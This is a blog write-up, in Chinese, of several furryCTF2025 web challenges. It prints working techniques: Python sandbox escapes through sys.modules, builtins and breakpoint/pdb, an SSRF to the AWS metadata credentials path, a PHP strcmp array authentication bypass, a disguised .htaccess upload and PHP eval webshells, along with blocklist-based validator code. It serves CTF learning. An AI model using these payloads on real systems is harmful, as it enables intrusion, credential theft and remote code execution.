首页 > 基础资料 博客日记
furryCTF2025wp(web方向部分解)
2026-04-16 18:00:02基础资料围观1次
没打这个比赛但是刷到了这个比赛的wp,有几题看起来挺有意思的,复现下看看
PyEditor
nb,头回见这么多解的题
题目
猫猫最近发现了一个在线编辑器,里面似乎有一段没有被正确删除的代码……?
import ast
import subprocess
import tempfile
import os
import time
import threading
from flask import Flask, render_template, request, jsonify
from flask_socketio import SocketIO, emit
import secrets
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', secrets.token_hex(32))
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024
socketio = SocketIO(app, cors_allowed_origins="*")
active_processes = {}
class PythonRunner:
def __init__(self, code, args=""):
self.code = code
self.args = args
self.process = None
self.output = []
self.running = False
self.temp_file = None
self.start_time = None
def validate_code(self):
try:
if len(self.code) > int(os.environ.get('MAX_CODE_SIZE', 1024)):
return False, "代码过长"
tree = ast.parse(self.code)
banned_modules = ['os', 'sys', 'subprocess', 'shlex', 'pty', 'popen', 'shutil', 'platform', 'ctypes', 'cffi', 'io', 'importlib']
banned_functions = ['eval', 'exec', 'compile', 'input', '__import__', 'open', 'file', 'execfile', 'reload']
banned_methods = ['system', 'popen', 'spawn', 'execv', 'execl', 'execve', 'execlp', 'execvp', 'chdir', 'kill', 'remove', 'unlink', 'rmdir', 'mkdir', 'makedirs', 'removedirs', 'read', 'write', 'readlines', 'writelines', 'load', 'loads', 'dump', 'dumps', 'get_data', 'get_source', 'get_code', 'load_module', 'exec_module']
dangerous_attributes = ['__class__', '__base__', '__bases__', '__mro__', '__subclasses__', '__globals__', '__builtins__', '__getattribute__', '__getattr__', '__setattr__', '__delattr__', '__call__']
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for name in node.names:
if name.name in banned_modules:
return False, f"禁止导入模块: {name.name}"
elif isinstance(node, ast.ImportFrom):
if node.module in banned_modules:
return False, f"禁止从模块导入: {node.module}"
elif isinstance(node, ast.Call):
if isinstance(node.func, ast.Name):
if node.func.id in banned_functions:
return False, f"禁止调用函数: {node.func.id}"
elif isinstance(node.func, ast.Attribute):
if node.func.attr in banned_methods:
return False, f"禁止调用方法: {node.func.attr}"
elif isinstance(node.func, ast.Name):
if node.func.id == 'open':
return False, "禁止文件操作"
elif isinstance(node, ast.With):
for item in node.items:
if isinstance(item.context_expr, ast.Call):
if isinstance(item.context_expr.func, ast.Name):
if item.context_expr.func.id == 'open':
return False, "禁止文件操作"
elif isinstance(node, ast.Attribute):
if node.attr in dangerous_attributes:
if isinstance(node.value, ast.Call) or isinstance(node.value, ast.Name):
return False, f"禁止访问危险属性: {node.attr}"
elif isinstance(node, ast.Subscript):
if isinstance(node.value, ast.Attribute):
if node.value.attr == '__subclasses__':
return False, "禁止访问__subclasses__"
return True, "代码验证通过"
except SyntaxError as e:
return False, f"语法错误: {str(e)}"
except Exception as e:
return False, f"验证错误: {str(e)}"
def create_script(self):
try:
self.temp_file = tempfile.NamedTemporaryFile(
mode='w',
suffix='.py',
dir='/tmp',
delete=False
)
wrapper = """
import sys
def safe_exec():
try:
{indented_code}
return 0
except SystemExit as e:
return e.code if isinstance(e.code, int) else 0
except Exception as e:
print(f"执行错误: {{e}}", file=sys.stderr)
return 1
sys.argv = ['sandbox.py'] + {args}
exit_code = safe_exec()
exit()
# Hey bro, don't forget to remove this before release!!!
import os
import sys
flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''
try:
with open('/flag.txt', 'w') as f:
f.write(flag_content)
except:
pass
"""
indented_code = '\n'.join([' ' + line for line in self.code.split('\n')])
full_code = wrapper.format(
indented_code=indented_code,
args=str(self.args.split() if self.args else [])
)
self.temp_file.write(full_code)
self.temp_file.flush()
os.chmod(self.temp_file.name, 0o755)
return self.temp_file.name
except Exception as e:
raise Exception(f"创建脚本失败: {str(e)}")
def run(self):
try:
is_valid, message = self.validate_code()
if not is_valid:
self.output.append(f"验证失败: {message}")
return False
script_path = self.create_script()
cmd = ['python', script_path]
if self.args:
cmd.extend(self.args.split())
self.process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
text=True,
bufsize=1,
universal_newlines=True
)
self.running = True
self.start_time = time.time()
def read_output():
while self.process and self.process.poll() is None:
try:
line = self.process.stdout.readline()
if line:
self.output.append(line.strip())
socketio.emit('output', {'data': line})
except:
break
stdout, stderr = self.process.communicate()
if stdout:
for line in stdout.split('\n'):
if line.strip():
self.output.append(line.strip())
socketio.emit('output', {'data': line})
if stderr:
for line in stderr.split('\n'):
if line.strip():
self.output.append(f"错误: {line.strip()}")
socketio.emit('output', {'data': f"错误: {line}"})
self.running = False
socketio.emit('process_end', {'pid': self.process.pid})
thread = threading.Thread(target=read_output)
thread.daemon = True
thread.start()
return True
except Exception as e:
self.output.append(f"运行失败: {str(e)}")
return False
def send_input(self, data):
if self.process and self.process.poll() is None:
try:
self.process.stdin.write(data + '\n')
self.process.stdin.flush()
return True
except:
return False
return False
def terminate(self):
if self.process and self.process.poll() is None:
self.process.terminate()
self.process.wait(timeout=5)
self.running = False
if self.temp_file:
try:
os.unlink(self.temp_file.name)
except:
pass
return True
return False
@app.route('/')
def index():
return render_template('index.html')
@app.route('/api/run', methods=['POST'])
def run_code():
data = request.json
code = data.get('code', '')
args = data.get('args', '')
runner = PythonRunner(code, args)
pid = secrets.token_hex(8)
active_processes[pid] = runner
success = runner.run()
if success:
return jsonify({
'success': True,
'pid': pid,
'message': '进程已启动'
})
else:
return jsonify({
'success': False,
'message': '启动失败'
})
@app.route('/api/terminate', methods=['POST'])
def terminate_process():
data = request.json
pid = data.get('pid')
if pid in active_processes:
active_processes[pid].terminate()
del active_processes[pid]
return jsonify({'success': True})
return jsonify({'success': False, 'message': '进程不存在'})
@app.route('/api/send_input', methods=['POST'])
def send_input():
data = request.json
pid = data.get('pid')
input_data = data.get('input', '')
if pid in active_processes:
success = active_processes[pid].send_input(input_data)
return jsonify({'success': success})
return jsonify({'success': False})
@socketio.on('connect')
def handle_connect():
emit('connected', {'data': 'Connected'})
@socketio.on('disconnect')
def handle_disconnect():
pass
if __name__ == '__main__':
socketio.run(app, host='0.0.0.0', port=5000, debug=False, allow_unsafe_werkzeug=True)

解
法一(sys.moudles):
代码审计发现模块函数方法文件操作都有些被ban了
# Hey bro, don't forget to remove this before release!!!
import os
import sys
flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''
try:
with open('/flag.txt', 'w') as f:
f.write(flag_content)
except:
pass
由此得知flag可能在环境变量或/flag.txt中
发现源代码的过滤不是很严格,他的过滤使用的是

只有对ast.Import一类写法的限制
也就是不能写 import os和 os.system
但是可以__import__("os").system("calc")
也就是说我们可以使用已存在的方式构造
学习下Python的模块导入机制:
在 Python 中,解释器启动或者运行某些初始化脚本时,往往需要用到 os 或 sys 模块。 当一个模块被导入过一次后,Python 会把它缓存在一个全局字典里:sys.modules。

搜索也可得知,sys.modules是模块缓存字典,我们首先确认一下sys能不能使用,使用以下代码
print(sys)
没回显也没报错
打印所有已加载模块的名称列表
print(list(sys.modules.keys()))
['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', '__main__', '_abc', 'abc', '_stat', 'stat', '_collections_abc', 'errno', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'site']
我们发现有os模块,尝试打印环境变量,输入以下代码
print(sys.modules['os'].environ)
environ({'PATH': '/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'HOSTNAME': '0c3adc909bc3', 'GZCTF_FLAG': 'furryCTF{D0_N0t_For9e7_t0_rem0V3_d3bu9_wHEn_ade51c346631_re1e4s3}', 'GZCTF_TEAM_ID': '747', 'PYTHON_VERSION': '3.14.2', 'PYTHON_SHA256': 'ce543ab854bc256b61b71e9b27f831ffd1bfd60a479d639f8be7f9757cf573e9', 'HOME': '/root', 'LC_CTYPE': 'C.UTF-8', 'WERKZEUG_SERVER_FD': '3'})
拿到flag
法二(builtins修改代码):
exit()
# Hey bro, don't forget to remove this before release!!!
import os
import sys
flag_content = os.environ.get('GZCTF_FLAG', '')
os.environ['GZCTF_FLAG'] = ''
try:
with open('/flag.txt', 'w') as f:
f.write(flag_content)
except:
pass
"""
我们注意到后面部分代码不被执行是因为前面有exit()
我们可以尝试使其失效
import builtins
# 让 wrapper 的 exit() 失效
builtins.exit = lambda *a, **k: None
#或者
#__builtins__.exit = lambda: None
f = builtins.open('/flag.txt', 'r')
for line in f:
print(line, end='')
f.close()
ok
法三(python3.1breakpoint新参数):
看到默认程序print("Hello Python 3.14!")
Python3.14中breakpoint()有一个新特性,他支持了一个新参数:commands
这个参数允许你传入一个命令列表,当breakpoint()开始执行时,他将会自动依次传入操作命令(这相当于一个调试器,n代表next,j代表jump,p代表print)
我们需要利用jump命令跳过exit(),但是jump只能在同一代码块下进行,所以我们首先需要从safe_exec()函数返回,并尝试着找到exit()的位置
def safe_exec():
try:
{indented_code}
return 0
except SystemExit as e:
return e.code if isinstance(e.code, int) else 0
except Exception as e:
print(f"执行错误: {{e}}", file=sys.stderr)
return 1
sys.argv = ['sandbox.py'] + {args}
exit_code = safe_exec()
exit()
不方便看的话就挨个试,最后确定需要3个
breakpoint(commands=['n']*3)
回显exit()
breakpoint(commands=['n']*3+['j 20'])
回显import os
再往下执行3行,flag就被赋值到变量中,然后读取
breakpoint(commands=['n']*3+['j 20']+['n']*3+['p flag_content'])
# 或者
breakpoint(commands=['n','n','n','j 20','n','n','n','p flag_content'])
法四(全角绕过):
g = [globals][0]()
print(g['flag_content'])
这啥啊,也跑不出来啊
其他解
好几个跑不出来???这啥啊,官方wp
https://fcnfx4l45efr.feishu.cn/wiki/JHJowCDz9iwEGwkTp3Hc9C8Hnif
https://dcntycecetdh.feishu.cn/wiki/W3m8wlCy4iDIqJkgCgjcGMzmnee
CCPreview
题目
为了测试内网服务的连通性,【数据删除】开发组上线了一个简单的网页预览工具。
据说该服务部署在 AWS 也就是亚马逊云服务上,属于EC2实例……
虽然它看起来只是一个简单的 curl 代理.jpg
“话说,咱们就这么部署在这里,真的没问题吗……”
“怕啥,这就一个curl,能有什么漏洞?”

解
像SSRF
访问http://169.254.169.254/latest/meta-data/(固定打法,积累下)
iam/
network/
public-hostname/
iam和权限凭证有关
http://169.254.169.254/latest/meta-data/iam
security-credentials/
security-credentials和安全凭证有关
http://169.254.169.254/latest/meta-data/iam/security-credentials/
返回的是角色名称
admin-role

猫猫最后的复仇
题目
这次猫猫长记性了,把多余的代码给移除了。
但是猫猫很不服气,他觉得只要把环境变量清空,你们就不可能拿到flag。
为此他甚至升级了一下他的AST分析和黑名单替换,ban掉了import。
哼哼唧唧!
不信你们还能绕过呜呜呜~
本题可以看成PyEditor的DLC
好消息是依旧存在一种思路可以同时拿到本题和PyEditor的分数
(也就是相当于PyEditor荣升1100分,IN+难度)
坏消息是,真的有人能找到这种思路吗?
求求有人写个预期解吧呜呜呜呜
import ast
import subprocess
import tempfile
import os
import time
import threading
from flask import Flask, render_template, request, jsonify
from flask_socketio import SocketIO, emit
import secrets
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', secrets.token_hex(32))
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024
socketio = SocketIO(app, cors_allowed_origins="*")
active_processes = {}
banned = ['os','sys','subprocess','shlex','pty','popen','shutil','platform','ctypes','cffi','io','importlib','linecache','inspect','builtins',\
'yaml','fcntl','functools','itertools','operator','readline','getpass','pprint','pipes','pathlib','pdb','Path','codecs','fileinput',\
'mmap','runpy','difflib','tempfile','glob','gc','threading','multiprocessing','dis','logging','_thread','atexit','urllib','request',\
'self','modules','help','warnings','pydoc','load_module','object','bytes','weakref','reprlib','encode','future','uuid','multi','posix',\
'CGIHTTPServer','cgitb','compileall','dircache','doctest', 'dumbdbm', 'filecmp','ftplib','gzip','getopt','gettext','httplib','popen2',\
'imputil','macpath','mailbox','mailcap','mhlib','mimetools','mimetypes','modulefinder','netrc','new','optparse','SimpleHTTPServer',\
'posixfile','profile','pstats','py_compile','pyclbr','rexec','SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',\
'sysconfig', 'tabnanny', 'tarfile', 'telnetlib','Tix', 'trace', 'turtle', 'urllib', 'urllib2','user', 'uu', 'webbrowser', 'whichdb',\
'zipfile', 'zipimport','eval','exec','compile','input','__import__','open','file','execfile','reload','globals','items','keys',\
'values','getline','getlines','isinstance','__build_class__','help','type','super','getattr','setattr','vars','property',\
'staticmethod','classmethod','dir','object','read_text','__subclasses__','fileno','get_data','locals','get','_current_frames',\
'f_locals','f_globals','f_back','settrace','setprofile','tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts',\
'co_names','basicConfig','get_objects','startswith','dumps','request','urlopen','response','get_content','decode','self',\
'modules','environ','breakpointhook','set_trace','interaction','gi_frame','stdout','stderr','stdin','StringIO','fork_exec',\
'path','_Printer__filenames','system','popen','spawn','execv','execl','execve','execlp','execvp','chdir','kill','remove','unlink','rmdir','mkdir','makedirs',\
'removedirs','read','write','readlines','writelines','load','loads','dump','dumps','get_data','get_source','get_code','load_module',\
'exec_module','items','keys','values','getline','getlines','__globals__','__dict__','__build_class__','help','type','super',\
'getattr','setattr','vars','property','staticmethod','classmethod','dir','object','read_text','__subclasses__','__bases__',\
'__class__','fileno','ACCESS_READ','locals','get','_current_frames','f_locals','f_globals','f_back','settrace','setprofile',\
'tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts','co_names','basicConfig','get_objects','interaction',\
'startswith','request','urlopen','response','get_content','decode','self','modules','environ','breakpointhook','set_trace',\
'gi_frame','stdout','stderr','stdin','StringIO','reload','fork_exec','path','_Printer__filenames','__class__','__base__','__bases__',\
'__mro__','__subclasses__','__globals__','__builtins__','__getattribute__','__getattr__','__setattr__','__delattr__','__call__',\
'__dict__','__reduce_ex__','__getitem__','__loader__','__doc__','__weakref__','__enter__','__exit__','__sub__','__mul__',\
'__floordiv__','__truediv__','__mod__','__pow__','__lt__','__le__','__eq__','__ne__','__ge__','__gt__','__iadd__','__isub__',\
'__imul__','__ifloordiv__','__idiv__','__itruediv__','__future__','__imod__','__ipow__','__ilshift__','__irshift__','__iand__',\
'__ior__','__ixor__','.txt','txt','ag.txt','ag.t','g.t','__main__','__prepare__','__init_subclass__','currentframe','cmd','shell','bash',\
'import','@','__name__']
def remove_non_ascii(text: str) -> str:
return ''.join(char for char in text if ord(char) < 128)
class PythonRunner:
def __init__(self, code, args=""):
self.code = code
self.args = args
self.process = None
self.output = []
self.running = False
self.temp_file = None
self.start_time = None
def extract_names(self, node):
names = []
while True:
if isinstance(node, ast.Attribute):
names.append(node.attr)
node = node.value
elif isinstance(node, ast.Call):
node = node.func
elif isinstance(node, ast.Subscript):
node = node.value
elif isinstance(node, ast.Name):
names.append(node.id)
break
else:
break
return list(reversed(names))
def validate_code(self):
try:
if len(self.code) > int(os.environ.get('MAX_CODE_SIZE', 1024)):
return False, "代码过长"
tree = ast.parse(self.code)
banned_modules = ['os','sys','subprocess','shlex','pty','popen','shutil','platform','ctypes','cffi','io','importlib','linecache','inspect','builtins',\
'yaml','fcntl','functools','itertools','operator','readline','getpass','pprint','pipes','pathlib','pdb','Path','codecs','fileinput',\
'mmap','runpy','difflib','tempfile','glob','gc','threading','multiprocessing','dis','logging','_thread','atexit','urllib','request',\
'self','modules','help','warnings','pydoc','load_module','object','bytes','weakref','reprlib','encode','future','uuid','multi','posix',\
'CGIHTTPServer','cgitb','compileall','dircache','doctest', 'dumbdbm', 'filecmp','ftplib','gzip','getopt','gettext','httplib','popen2',\
'imputil','macpath','mailbox','mailcap','mhlib','mimetools','mimetypes','modulefinder','netrc','new','optparse','SimpleHTTPServer',\
'posixfile','profile','pstats','py_compile','pyclbr','rexec','SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',\
'sysconfig', 'tabnanny', 'tarfile', 'telnetlib','Tix', 'trace', 'turtle', 'urllib', 'urllib2','user', 'uu', 'webbrowser', 'whichdb',\
'zipfile', 'zipimport','__main__','__prepare__','__init_subclass__','currentframe','timeit']
banned_functions = ['eval','exec','compile','input','__import__','open','file','execfile','reload','globals','items','keys','values','getline',\
'getlines','isinstance','__build_class__','help','type','super','getattr','setattr','vars','property','staticmethod',\
'classmethod','dir','object','read_text','__subclasses__','fileno','get_data','locals','get','_current_frames','f_locals',\
'f_globals','f_back','settrace','setprofile','tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts',\
'co_names','basicConfig','get_objects','startswith','dumps','request','urlopen','response','get_content','decode','self',\
'modules','environ','breakpointhook','set_trace','interaction','gi_frame','stdout','stderr','stdin','StringIO','fork_exec',\
'path','_Printer__filenames','f','__main__','__prepare__','__init_subclass__','currentframe','timeit']
banned_methods = ['system','popen','spawn','execv','execl','execve','execlp','execvp','chdir','kill','remove','unlink','rmdir','mkdir','makedirs',\
'removedirs','read','write','readlines','writelines','load','loads','dump','dumps','get_data','get_source','get_code','load_module',\
'exec_module','items','keys','values','getline','getlines','__globals__','__dict__','__build_class__','help','type','super',\
'getattr','setattr','vars','property','staticmethod','classmethod','dir','object','read_text','__subclasses__','__bases__',\
'__class__','fileno','ACCESS_READ','locals','get','_current_frames','f_locals','f_globals','f_back','settrace','setprofile',\
'tb_frame','__traceback__','tb_next','_getframe','f_code','co_consts','co_names','basicConfig','get_objects','interaction',\
'startswith','request','urlopen','response','get_content','decode','self','modules','environ','breakpointhook','set_trace',\
'gi_frame','stdout','stderr','stdin','StringIO','reload','fork_exec','path','_Printer__filenames','f','__main__','__prepare__',\
'__init_subclass__','currentframe','timeit']
dangerous_attributes = ['__class__','__base__','__bases__','__mro__','__subclasses__','__globals__','__builtins__','__getattribute__',\
'__getattr__','__setattr__','__delattr__','__call__','__dict__','__reduce_ex__','__getitem__','__loader__',\
'__doc__','__weakref__','__enter__','__exit__','__sub__','__mul__','__floordiv__','__truediv__','__mod__',\
'__pow__','__lt__','__le__','__eq__','__ne__','__ge__','__gt__','__iadd__','__isub__','__imul__','__ifloordiv__',\
'__idiv__','__itruediv__','__future__','__imod__','__ipow__','__ilshift__','__irshift__','__iand__','__ior__',\
'__ixor__','__main__','__prepare__','__init_subclass__','__name__']
banned_functions += banned_modules + dangerous_attributes
banned_methods += banned_modules + dangerous_attributes
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for name in node.names:
if name.name.split('.')[0] in banned_modules:
return False, f"禁止导入模块: {name.name}"
elif isinstance(node, ast.ImportFrom):
if node.module and node.module.split('.')[0] in banned_modules:
return False, f"禁止从模块导入: {node.module}"
elif isinstance(node, ast.Call):
chain = self.extract_names(node)
for name in chain:
if name in banned_functions or name in banned_methods:
return False, f"禁止调用: {name}"
elif isinstance(node, ast.Attribute):
chain = self.extract_names(node)
for name in chain:
if name in dangerous_attributes:
return False, f"禁止访问危险属性: {name}"
elif isinstance(node, ast.Subscript):
chain = self.extract_names(node)
if '__subclasses__' in chain:
return False, "禁止访问__subclasses__"
elif isinstance(node, ast.With):
for item in node.items:
if isinstance(item.context_expr, ast.Call):
chain = self.extract_names(item.context_expr)
if 'open' in chain:
return False, "禁止文件操作"
return True, "代码验证通过"
except SyntaxError as e:
return False, f"语法错误: {str(e)}"
except Exception as e:
return False, f"验证错误: {str(e)}"
def create_script(self):
try:
self.temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', dir='/tmp', delete=False)
wrapper = """
import sys
import os
if(os.environ.get('GZCTF_FLAG', '')!=''):
flag_content = os.environ.get('GZCTF_FLAG', '')
try:
with open('/flag.txt', 'w') as f:
f.write(flag_content)
except:
pass
else:
with open('/flag.txt', 'r') as f:
flag_content=f.read()
os.environ['GZCTF_FLAG'] = ''
def safe_exec():
try:
flag_content = ""
{indented_code}
return 0
except SystemExit as e:
return e.code if isinstance(e.code, int) else 0
except Exception as e:
print(f"执行错误: {{e}}", file=sys.stderr)
return 1
sys.argv = ['sandbox.py']
exit_code = safe_exec()
exit()
"""
indented_code = '\n'.join([' ' + line for line in self.code.split('\n')]).replace('flag.txt','').replace("GZCTF_FLAG","").replace("@","")
while True:
save_code = indented_code
indented_code = remove_non_ascii(indented_code).replace('flag.txt','').replace("GZCTF_FLAG","").replace("@","")
for _ in banned:
indented_code = indented_code.replace(_,"")
if(save_code==indented_code):
break
self.temp_file.write(wrapper.format(indented_code=indented_code))
self.temp_file.flush()
os.chmod(self.temp_file.name, 0o755)
return self.temp_file.name
except Exception as e:
raise Exception(f"创建脚本失败: {str(e)}")
def run(self):
try:
is_valid, message = self.validate_code()
if not is_valid:
self.output.append(f"验证失败: {message}")
return False
script_path = self.create_script()
cmd = ['python', script_path]
if self.args:
cmd.extend(self.args.split())
self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, text=True, bufsize=1, universal_newlines=True)
self.running = True
self.start_time = time.time()
def read_output():
while self.process and self.process.poll() is None:
try:
line = self.process.stdout.readline()
if line:
socketio.emit('output', {'data': line})
except:
break
stdout, stderr = self.process.communicate()
if stdout:
socketio.emit('output', {'data': stdout})
if stderr:
socketio.emit('output', {'data': stderr})
socketio.emit('process_end', {'pid': self.process.pid})
threading.Thread(target=read_output, daemon=True).start()
return True
except Exception as e:
self.output.append(f"运行失败: {str(e)}")
return False
def send_input(self, data):
if self.process and self.process.poll() is None:
try:
self.process.stdin.write(data + '\n')
self.process.stdin.flush()
return True
except:
return False
return False
def terminate(self):
if self.process and self.process.poll() is None:
self.process.terminate()
self.process.wait(timeout=5)
self.running = False
if self.temp_file:
try:
os.unlink(self.temp_file.name)
except:
pass
return True
return False
@app.route('/')
def index():
return render_template('index.html')
@app.route('/api/run', methods=['POST'])
def run_code():
data = request.json
code = data.get('code', '')
args = data.get('args', '')
runner = PythonRunner(code, args)
pid = secrets.token_hex(8)
active_processes[pid] = runner
success = runner.run()
if success:
return jsonify({'success': True,'pid': pid,'message': '进程已启动'})
else:
return jsonify({'success': False,'message': '启动失败'})
@app.route('/api/terminate', methods=['POST'])
def terminate_process():
data = request.json
pid = data.get('pid')
if pid in active_processes:
active_processes[pid].terminate()
del active_processes[pid]
return jsonify({'success': True})
return jsonify({'success': False,'message': '进程不存在'})
@app.route('/api/send_input', methods=['POST'])
def send_input():
data = request.json
pid = data.get('pid')
input_data = data.get('input', '')
if pid in active_processes:
success = active_processes[pid].send_input(input_data)
return jsonify({'success': success})
return jsonify({'success': False})
@socketio.on('connect')
def handle_connect():
emit('connected', {'data': 'Connected'})
@socketio.on('disconnect')
def handle_disconnect():
pass
if __name__ == '__main__':
socketio.run(app, host='0.0.0.0', port=5000, debug=False, allow_unsafe_werkzeug=True)
解
法一:
依旧可以通过利用python3.1breakpoint新参数拿flag
法二:
核心原理
黑名单遗漏:附件源码后端 app.py 虽然过滤了 os、exec、import 等大量危险关键词,但遗漏了 Python 3.7+ 的内置函数 breakpoint()。
交互式执行:breakpoint() 会启动 PDB 调试器,该调试器允许用户通过标准输入(stdin)执行任意 Python 代码。
输入未过滤:后端仅对提交的“源代码”进行了严格过滤,但对运行期间通过 /api/send_input 接口传入的“标准输入”没有任何检测。
攻击链:提交 breakpoint() 绕过静态检查 -> 进入 PDB 调试模式 -> 通过 API 发送恶意 Payload -> PDB 执行 Payload 读取 Flag。
breakpoint()
f12控制台
var pid = "006a70be9a47f554";
fetch('/api/send_input', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
pid: pid,
input: "print(open('/flag.txt').read())"
})
});
拿到flag
其实就是POST请求,burp抓包发送下面的内容也可以
{
"pid": "006a70be9a47f554",
"input": "print(open('/flag.txt').read())"
}
SSO Drive
其实最想学习的是这道,有很多新知识
题目
身为红队的你发现,自己渗透的蓝方目标中似乎刚刚上线了一个新的目标:内部云盘。
大概是蓝方的安全团队确信他们已经修复了所有逻辑漏洞,这里已经不会出问题了。
而且,看起来他们为了以防万一,部署了一套极为严格的文件上传审查策略。
也正是如此,他们才敢如此大胆的就把这个云盘暴露出来。
好在,通过对其他资产目标的社工,你得知了这样两个情报:
1.负责认证模块的开发小哥有着随手备份源码的好习惯,虽然从蓝方聊天平台泄露出来的消息来看,他似乎发誓说新的密码校验逻辑是无懈可击的?
2.蓝方运维团队泄露的内部公告指出,为了兼容旧系统,他们不得不在服务器后台运行了一个陈旧服务用于内部远程管理。
flag3在/root里

解
看到“有备份源码的习惯”就知道要dirsearch了

下载源码
db.sql
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(255) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', 'placeholder');
index.php.bak
<?php
// Backup 2026-01-20 by Dev Team
// TODO: Fix the comparison logic later?
session_start();
$REAL_PASSWORD = 'THIS_IS_A_VERY_LONG_RANDOM_PASSWORD_THAT_CANNOT_BE_BRUTEFORCED_882193712';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['username'];
$p = $_POST['password'];
if ($u === 'admin') {
// Dev Note: using strcmp for binary safe comparison
if (strcmp($p, $REAL_PASSWORD) == 0) {
$_SESSION['is_admin'] = true;
header("Location: dashboard.php");
exit;
} else {
$error = "Password Wrong";
}
}
}
?>
e,原来THIS_IS_A_VERY_LONG_RANDOM_PASSWORD_THAT_CANNOT_BE_BRUTEFORCED_882193712只是表示我们不知道这个密码,我还以为密码就是这个呢...
index.php.bak 源码中,我们可以看到核心的密码验证逻辑:
if ($u === 'admin') {
// Dev Note: using strcmp for binary safe comparison
if (strcmp($p, $REAL_PASSWORD) == 0) {
$_SESSION['is_admin'] = true;
// ...
}
}
漏洞点: 使用了 strcmp(REAL_PASSWORD) == 0 进行比较。 在 PHP(尤其是 5.x 和 7.x 版本)中,strcmp() 函数有一个著名的缺陷:如果比较的参数中一个是字符串,另一个是数组(Array),它会报错(Warning)并返回 NULL(在 PHP 8.0+ 之前)。
在 PHP 的弱类型比较(==)中,NULL == 0 是成立的(True)。
利用方法: 我们要欺骗服务器,让它认为我们输入了正确的密码。只需要将 password 参数改为数组形式发送即可。
hackbar POST
username=admin&password[]=1

文件上传?试试
发现正常上传.htaccess会失败
AddType application/x-httpd-php .jpg

利用 XBM 图片格式制作“图片马”格式的配置文件
Apache 配置文件:.htaccess 支持 # 作为注释符号,Apache 会忽略以 # 开头的行。 XBM 图片格式:这是一种古老的图片格式,其文件头部特征正好是用 C 语言宏定义表示的,例如 #define width 10。 结合点:我们可以构造一个文件,前两行写成 XBM 的格式(以此欺骗 PHP 的图片检测函数),第三行写 Apache 的配置指令。Apache 读取时会把前两行当注释,只执行第三行。
修改点:
Filename: .htaccess
Content-Type: image/jpeg (或者是 image/x-xbitmap,建议先试 jpeg 欺骗 MIME 检查)
Content: 使用 #define 开头,骗过图片检测。
请求内容
POST /upload.php HTTP/1.1
Host: ctf.furryctf.com:37395
Content-Length: 271
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://ctf.furryctf.com:37395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJwabDUs913acvajA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.furryctf.com:37395/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=781bad690c2774335ef9c5edf1607c0c
Connection: keep-alive
------WebKitFormBoundaryJwabDUs913acvajA
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: application/octet-stream
#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryJwabDUs913acvajA--

上传成功
#define width 1337 和 #define height 1337 让 PHP 的 getimagesize() 认为这是一张合法的 XBM 图片。 Apache 加载这个 .htaccess 时,前两行被视为注释(因为是 # 开头),第三行 AddType... 被正常执行。
其实后面发现,gif头加段标签就能绕过过滤,但那都是后话了
GIF89a
<? @eval($_POST['a']);?>
制作一句话木马图片
Payload 特征:
文件名:shell.jpg (必须是 jpg,为了配合 .htaccess 的解析规则)。 Content-Type:image/jpeg (欺骗 MIME 检查)。 文件内容:使用 #define 开头(欺骗 getimagesize 等函数认为这是 XBM 图片),紧接着放入 PHP 代码一句话木马。
#define width 1337
#define height 1337
<?php eval($_POST['cmd']); ?>
可以在php代码前后加上
可以自动换行

被过滤了,尝试一些变型
都失败了
换成
#define width 1337
#define height 1337
<pre>
<?= `ls -F /`; ?>

flag1直接cat
再看看start.sh
#define width 1337 #define height 1337
#!/bin/bash
service mariadb start
mysql -u root -e "CREATE DATABASE IF NOT EXISTS ctf_db;"
mysql -u root -e "CREATE USER IF NOT EXISTS 'ctf'@'localhost' IDENTIFIED BY 'ctf';"
mysql -u root -e "GRANT ALL PRIVILEGES ON ctf_db.* TO 'ctf'@'localhost';"
mysql -u root -e "FLUSH PRIVILEGES;"
if [ -f /var/www/html/db.sql ]; then
mysql -u root ctf_db < /var/www/html/db.sql
fi
if [ ! -z "$GZCTF_FLAG" ]; then
LEN=${#GZCTF_FLAG}
PART_LEN=$((LEN / 3))
FLAG1=${GZCTF_FLAG:0:$PART_LEN}
FLAG2=${GZCTF_FLAG:$PART_LEN:$PART_LEN}
